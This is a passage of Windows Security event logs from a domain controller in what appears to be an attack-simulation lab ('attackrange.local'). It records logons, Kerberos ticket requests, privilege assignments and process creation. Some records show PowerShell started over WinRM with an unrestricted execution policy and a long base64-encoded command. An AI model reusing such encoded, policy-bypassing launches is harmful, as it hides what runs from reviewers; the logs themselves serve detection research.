-ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253121 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193B8E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253120 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x193B8E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253119 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253118 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253117 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253116 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf14 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x118c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253115 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x964 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253114 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19398F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253113 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19398F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253112 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253111 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253110 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x964 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Process Information: - New Process ID: 0x964 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253107 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253106 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x19373B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253105 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: 